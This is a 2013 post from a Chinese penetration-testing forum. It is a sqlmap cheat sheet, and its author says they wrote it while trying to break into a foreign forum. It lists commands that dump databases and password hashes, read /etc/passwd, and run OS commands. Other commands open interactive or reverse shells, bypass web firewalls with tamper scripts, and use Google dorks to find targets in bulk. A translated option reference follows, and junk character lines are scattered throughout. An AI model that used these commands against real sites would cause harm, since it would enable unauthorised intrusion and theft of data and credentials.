中国网络渗透测试联盟
标题:
sqlmap注入命令的使用方法
[打印本页]
作者:
admin
时间:
2013-4-4 22:26
标题:
sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
! W8 G* o0 h# K! p& v0 z
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “
http://www.xxoo.com/news?id=1
″ –current-db #获取当前数 据库名称
" @/ L! T. U7 M- ^6 Q
sqlmap -u “
http://www.xxoo.com/news?id=1
″ –tables -D “db_name”#列 表名
1 g" R7 {0 o* `" O7 R
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
! J6 a- K, N* Y
! k: j( h1 c8 E8 [, w5 x
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
! R7 O O/ j( w* C' ^, l
0 #获取字段内容
& [! G7 L. ?* |
3 B4 j# D0 T" O' _& B, y
******************信息获取******************
; u7 f0 V& c9 T6 }0 i Q' K$ q
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
: Q3 }: b2 a$ X( W9 v* c/ i
sqlmap -u “http://url/news?id=1″ –users #列数据库用户
: {* _9 ~( J; c) c4 ]5 ?
sqlmap -u “http://url/news?id=1″ –dbs#列数据库
' s9 `3 l6 Y- c
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
1 \* A2 _ k d' v# G
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
( t4 x/ l8 d e+ s
sqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”
" z1 b* \' x" J& q
–start 1 –stop 20 #列出指定字段,列出20 条
& t8 B+ z/ m: Y6 A+ V" C
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
( _9 N ~- v& _1 [
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
3 M v* v& _+ w* C* n; d1 i% z
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
. l8 s6 T' F& X+ F; n9 {! L
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
0 ^* `" a/ d- T' [6 a5 b6 R' f5 ~
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
; O. X! @0 g9 f. e; U, a0 Z
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
* _3 E3 N; A- W/ K$ f1 I# K
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
3 B; K' o( |! @4 J* C b' p
sqlmap -u “http://url/news?id=1″-b #获取banner信息
3 T+ w6 M6 Y9 ~+ ?
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
7 z3 t) z* f6 e
sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
, F7 ~2 p$ {! L* i5 J8 Z
sqlmap -u “http://url/news?id=1″ –proxy“
http://127.0.0.1:8118
” #代理注 入
. q5 U0 [( T7 F7 E
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
4 \6 z! Y! I# m" ]
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
4 R+ i3 z6 u0 r' I
sqlmap -u “http://url/news?id=1″ –file /etc/passwd
7 ~& E% @3 S( v$ L3 c/ v
sqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
% ^1 d+ s2 i q
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
8 f7 j' Y9 q- N: b
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
( g9 j' g* X% R
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
9 t( G7 P6 O8 x4 r9 l
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
7 h+ ~6 l5 h" B' \$ Q0 S
***********高级用法*************
O, ?1 R4 O+ q* P6 W
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
5 s; y: X3 t3 h, m: l- _4 L
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
# B; x/ f: l3 c1 J+ q
–technique 测试指定注入类型\使用的技术
+ k& H: o; y0 X+ b# R! T
不加参数默认测试所有注入技术
' ?4 R$ _( C+ |. q! h' s
• B: 基于布尔的SQL 盲注
- H- `( z6 g. E/ u% d
• E: 基于显错sql 注入
3 [9 a J. y" s& Z. ]" o, n, z
• U: 基于UNION 注入
% q K' N& B' K( ^9 F- n- a9 W0 P) r
• S: 叠层sql 注入
+ n) o" Q- J/ k* I
• T: 基于时间盲注
' O' F# h$ @8 |/ ?3 o; J. N; p
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
0 q4 S2 }+ @/ h: \* }! f8 Z5 T- w
–tamper 插件所在目录
, a% F# J6 R" x# n% l
\sqlmap-dev\tamper
5 b, n1 e: a' V* G- {9 h% n7 E
sqlmap -u “http://
www.2cto.com
/news?id=1″ –smart –level 3 –users # smart 智 能
; ? j: s G. H8 Z R6 h" m
level 执行测试等级 攻击实例:
, D8 \4 e* x3 O$ c; ~/ a
Sqlmap -u “http://url/news?id=1&Submit=Submit”
/ N: `8 f" C% @. I' b
–cookie=”PHPSESSID=41aa833e6d0d
% Z3 [! f% H) ^* l
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
" y% Q/ b; n3 W8 a0 X( R3 c
–password
6 g {! E: `8 p+ l5 l; y
参考文档:
http://sqlmap.sourceforge.net/doc/README.html
1 h2 j5 j% C- R+ ~* E& o
***********安装最新版本*************
8 m$ j) M! Z! p8 E
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
0 v) H) `% u* b) `- ^
sudo svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
2 A2 r. P: a- u* e
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
2 p$ ]$ p- i* I! E: j8 l+ a
sudo vim /home/当前用户/.bashrc
5 x R5 s/ c$ y. I
#任意位置加上:
$ Z. Y+ \ i1 N8 D; }( Y' v
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
6 N2 {3 t) R; x @. \/ O. O& n: F/ P
如果想对所有用户有效 可设置全局 编辑下面的文件
( [9 c6 v7 c* d. X' H+ ]/ f$ u, D
vim /etc/profile
Q+ D5 g3 B. D+ b
同样加上:
9 M" g+ t# |" B' o3 w
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
o/ \2 t; ^# E: g1 _1 p
******************windows 7 (x64) sqlmap install (SVN)************
- |; [0 \& T- G$ ^
http://www.python.org/getit/
安装python
! W$ E! [2 ]% U( Z3 ~
http://www.sliksvn.com/en/download
安装windows svn client
! k6 w3 z, o$ ?5 N+ U
svn checkout
https://svn.sqlmap.org/sqlmap/trunk/sqlmap
sqlmap-dev
7 Y& a( w* A! z3 C6 a
安装sqlmap
$ b: h# k; v0 r1 W
*修改环境变量
3 S: F" p" K* }) ^& |$ E
–version 显示程序的版本号并退出
! @0 A' z! {) w6 X. W
-h, –help 显示此帮助消息并退出
7 A5 i# ]- c N4 j- n
-v VERBOSE 详细级别:0-6(默认为1)
- V1 ], d& `6 {! K: c4 R
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
* ? ]" ]* W! Z+ o
-d DIRECT 直接连接到数据库。
5 h, f" l' Q3 c1 ]
-u URL, –url=URL 目标URL。
% A! D3 I( i c) a7 d
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。
; ?0 \: T: \3 K
-r REQUESTFILE 从一个文件中载入HTTP 请求。
3 o( o# v( x9 V/ j
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
, y5 m3 h1 G, I. O: {: F" }
-c CONFIGFILE 从INI 配置文件中加载选项。
* m2 B: X7 }7 ]6 B
Request(请求)::
% P# N2 l8 Q; D9 b9 s1 [
这些选项可以用来指定如何连接到目标URL。
! a, @0 ~6 r4 _) m/ m
–data=DATA 通过POST 发送的数据字符串
& X% f- h# X2 d' n4 D# u# W" i
–cookie=COOKIE HTTP Cookie 头
% z" U% ?% c' A J6 P5 {7 p
–cookie-urlencode URL 编码生成的cookie 注入
a7 l5 m+ N9 c' t$ ?5 Z$ t) L
–drop-set-cookie 忽略响应的Set –Cookie 头信息
# R' U8 x$ B3 A! f3 _; }' m2 D& Z
1 o0 b& @2 ~+ k% Q7 _( E
–user-agent=AGENT 指定 HTTP User –Agent 头
+ \- h3 M$ u: [3 @5 \' Z
–random-agent 使用随机选定的HTTP User –Agent 头
5 g" x% z0 o6 z' D% s
–referer=REFERER 指定 HTTP Referer 头
9 N, T6 ^/ ^, {
–headers=HEADERS 换行分开,加入其他的HTTP 头
. {$ G& q0 y7 d* p9 l+ \
–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
/ m- j( E2 b1 h7 z& p$ Q
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
# |" z# R" U g1 d# J( N/ y
–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
# s, v& | \$ x, K4 p U
–proxy=PROXY 使用HTTP 代理连接到目标URL
! S4 U. t3 c( C6 E2 @
–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)
( S+ Z9 `. f- I8 a
–ignore-proxy 忽略系统默认的HTTP 代理
$ w, |+ q+ f- W) d
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒
2 {9 i# O# f7 C5 \% s& @3 g
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
- Z6 {* G: F9 H" r# x. K
–retries=RETRIES 连接超时后重新连接的时间(默认3)
3 ]! B8 N5 p4 y4 i6 ^9 ^& Q# h
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
! X0 a! q+ ^ }3 g
–safe-url=SAFURL 在测试过程中经常访问的url 地址
" y' Y7 j: V. n; {" ], ?0 F
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL
( X2 q. g2 D V6 L
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
# ^6 X2 f1 A5 x2 j# Q8 V$ r
-o 开启所有优化开关
7 j2 f0 b9 y; I/ y
–predict-output 预测常见的查询输出
& ]( H4 S) a. v( W6 A
–keep-alive 使用持久的HTTP(S)连接
) [1 p( R& S3 B
–null-connection 从没有实际的HTTP 响应体中检索页面长度
' z: V3 O& D9 } I
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
5 o1 M( `+ B: w6 o
Injection(注入):
* [( U; n/ Z+ U/ Q5 X
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。
' b+ L3 o: m. V/ W
-p TESTPARAMETER 可测试的参数(S)
# E4 `! E4 x/ Y! R! F( p! g5 j/ p8 k
–dbms=DBMS 强制后端的DBMS 为此值
' v) L- @1 s0 y- i1 |! |# G
–os=OS 强制后端的DBMS 操作系统为这个值
$ w- x# f4 ^& @7 H, v8 u$ a
–prefix=PREFIX 注入payload 字符串前缀
4 a: R3 @+ L2 M+ P4 N
–suffix=SUFFIX 注入 payload 字符串后缀
8 o# Y: l7 V$ Q9 F. H
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
. x7 {5 H M- ]( k
Detection(检测):
& o8 b M+ t0 ~: E& r
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
9 P# |! O8 A% S5 ~. A" J1 ?
–level=LEVEL 执行测试的等级(1-5,默认为1)
5 W. b8 L X: N
–risk=RISK 执行测试的风险(0-3,默认为1)
9 p( t4 \, T; C) U/ c
–string=STRING 查询时有效时在页面匹配字符串
& Y# g( K6 f4 S
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
1 _( o. T, D5 H: A, v7 t3 K" W2 o
–text-only 仅基于在文本内容比较网页
9 s. L l% h0 E- B2 } a9 ]
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
5 a6 N( a. `! T3 A5 N
–technique=TECH SQL 注入技术测试(默认BEUST)
# W$ H" o6 }6 e# g
–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)
4 T! }5 B" K4 s& K
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
3 ~0 N" _+ D+ w" n
–union-char=UCHAR 用于暴力猜解列数的字符
( y% b* o5 N/ i J
Fingerprint(指纹):
/ N/ r2 F6 h( z* x* {
-f, –fingerprint 执行检查广泛的DBMS 版本指纹
& X( s$ `- t, L( i$ G" \- t! `6 z
Enumeration(枚举):
3 t( G) I, Z+ |3 R9 P3 n
7 Z4 H' n/ e7 ?- ~9 ^
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
9 ?8 ~4 J/ i( H: O. ^0 N
-b, –banner 检索数据库管理系统的标识
2 T8 V- _8 v, V& _
–current-user 检索数据库管理系统当前用户
: [6 f% I5 L* e
–current-db 检索数据库管理系统当前数据库
; F2 d' e6 J# w; Y9 f& ]4 U
–is-dba 检测DBMS 当前用户是否DBA
" D: J5 P1 C/ v& t! R
–users 枚举数据库管理系统用户
0 v: [+ j$ J* g
–passwords 枚举数据库管理系统用户密码哈希
$ r1 q; `3 X2 _& m, _
–privileges 枚举数据库管理系统用户的权限
- r+ Q# }% ~* Y% O8 b5 v5 L
–roles 枚举数据库管理系统用户的角色
# T0 B7 u M% |+ ^. H* s5 K
–dbs 枚举数据库管理系统数据库
$ ]. E5 d- X& f H4 `+ g! A
–tables 枚举的DBMS 数据库中的表
6 L$ [3 d# n* U, b8 e9 q$ N7 X
–columns 枚举DBMS 数据库表列
. a$ o7 G6 K3 n8 F% ?- z
–dump 转储数据库管理系统的数据库中的表项
, F3 _, x {1 w- A5 g _
–dump-all 转储所有的DBMS 数据库表中的条目
% y4 }+ t5 W: {0 _. S2 V
–search 搜索列(S),表(S)和/或数据库名称(S)
1 C \$ H4 X* E: F' ^
-D DB 要进行枚举的数据库名
$ R( z& W {1 S, u2 D
-T TBL 要进行枚举的数据库表
9 |, u m* u h
-C COL 要进行枚举的数据库列
: W8 J3 E4 Y5 ^, M" ^4 k3 N8 i3 ?
-U USER 用来进行枚举的数据库用户
% Q2 ]8 t0 o3 i& h2 T
–exclude-sysdbs 枚举表时排除系统数据库
8 B: y0 e# R- f) a' I) W
–start=LIMITSTART 第一个查询输出进入检索
( t0 i1 t g0 C7 |8 n, z2 w
–stop=LIMITSTOP 最后查询的输出进入检索
$ B$ V% c9 L' E) D Q
–first=FIRSTCHAR 第一个查询输出字的字符检索
. O) z" p" {4 M
–last=LASTCHAR 最后查询的输出字字符检索
A: ^' ^; e6 h$ [
–sql-query=QUERY 要执行的SQL 语句
( B, o+ n% g6 G% G8 L, S
–sql-shell 提示交互式SQL 的shell
4 n5 `$ t; f( K& m) f
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
5 O( f( o# ~. k6 }; ?- J& O
–common-tables 检查存在共同表
' J" F( L3 W; f2 O O d
–common-columns 检查存在共同列
& s" K+ H" x- E: Z/ K7 a
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
; h) O$ ~( U$ U! Z1 F% `* ^
–udf-inject 注入用户自定义函数
9 x! S3 g2 T. K( |" [3 e7 I. `% [
–shared-lib=SHLIB 共享库的本地路径
0 u6 p4 |7 `$ {$ _) `
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
3 t+ B! g/ a! _5 J% N0 a8 |1 a m
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
+ h* Z. [/ F7 E- S1 H
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
+ q; |, S G% l) ?) t% l
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
# `( J$ J" O& U4 F' l# j
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
: }* [+ ?: O. C- C. b, ?
–os-cmd=OSCMD 执行操作系统命令
# A7 \( ]6 H0 s5 r% ?: d
–os-shell 交互式的操作系统的shell
9 Z4 {3 a8 X! I
–os-pwn 获取一个OOB shell,meterpreter 或VNC
5 d( c$ ^1 P8 Z0 q
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC
6 e7 A x; o T$ P4 O
–os-bof 存储过程缓冲区溢出利用
9 a: b( x8 Y$ r7 D& i/ ]8 T. W: i7 c
–priv-esc 数据库进程用户权限提升
+ q* O% x( \9 S. c; r7 v) x! e
–msf-path=MSFPATH Metasploit Framework 本地的安装路径
* c. @; u/ H9 h9 F% s6 S' y
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
# Q) d' \1 h' D& a
+ E2 S8 |( O! o" b
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。
9 Z; Z( d7 I) R7 S- [; p
–reg-read 读一个Windows 注册表项值
0 v t j3 a% b* C0 X0 x5 Q; z
–reg-add 写一个Windows 注册表项值数据
5 S( M z) ~. U. g9 ]* k
–reg-del 删除Windows 注册表键值
# I' e6 q- P. N$ H/ \
–reg-key=REGKEY Windows 注册表键
( T4 [ D7 l( o8 P8 N
–reg-value=REGVAL Windows 注册表项值
$ B% s. H' i$ j4 }, s
–reg-data=REGDATA Windows 注册表键值数据
5 t0 q5 E% g1 ?5 A1 x& b
–reg-type=REGTYPE Windows 注册表项值类型
1 Z9 j! T1 V! B, _8 W G# E
General(一般): 这些选项可以用来设置一些一般的工作参数。
. E' d( @+ j. e1 ?; q2 m4 z
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中
/ Y% O" {# v4 \( K' _4 d3 W9 V
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
% t2 @4 z- x6 Z
–flush-session 刷新当前目标的会话文件
' K8 _4 `& Y5 Q g
–fresh-queries 忽略在会话文件中存储的查询结果
4 f( R9 t0 K$ w
–eta 显示每个输出的预计到达时间
% t& c$ M6 D* n0 ?: R n
–update 更新SqlMap
. \/ a$ }- |" d/ r2 ?
–save file 保存选项到INI 配置文件
/ ~+ l0 v( u @ H" W
–batch 从不询问用户输入,使用所有默认配置。
* {) k7 o1 r4 g& J, v
Miscellaneous(杂项):
: j" V0 M7 T* g7 ~+ x( h# q
–beep 发现SQL 注入时提醒
' }5 I- k8 \8 w5 v, p
–check-payload IDS 对注入payloads 的检测测试
$ l/ N; F- s- g3 D2 R5 K9 h
–cleanup SqlMap 具体的UDF 和表清理DBMS
% b) g" B* ?3 K3 S* E# f2 L
–forms 对目标URL 的解析和测试形式
l% _# {7 Z6 p3 O
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
1 h9 u$ `1 F2 z! s! S6 Z
–page-rank Google dork 结果显示网页排名(PR)
1 x' S' L9 r+ S3 C4 r$ J
–parse-errors 从响应页面解析数据库管理系统的错误消息
- L7 N: d9 i! }2 n* S b/ s' A
–replicate 复制转储的数据到一个sqlite3 数据库
5 v% K6 M, t0 K8 L" b4 ~
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
0 `4 G) z x' c V; o
–wizard 给初级用户的简单向导界面
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2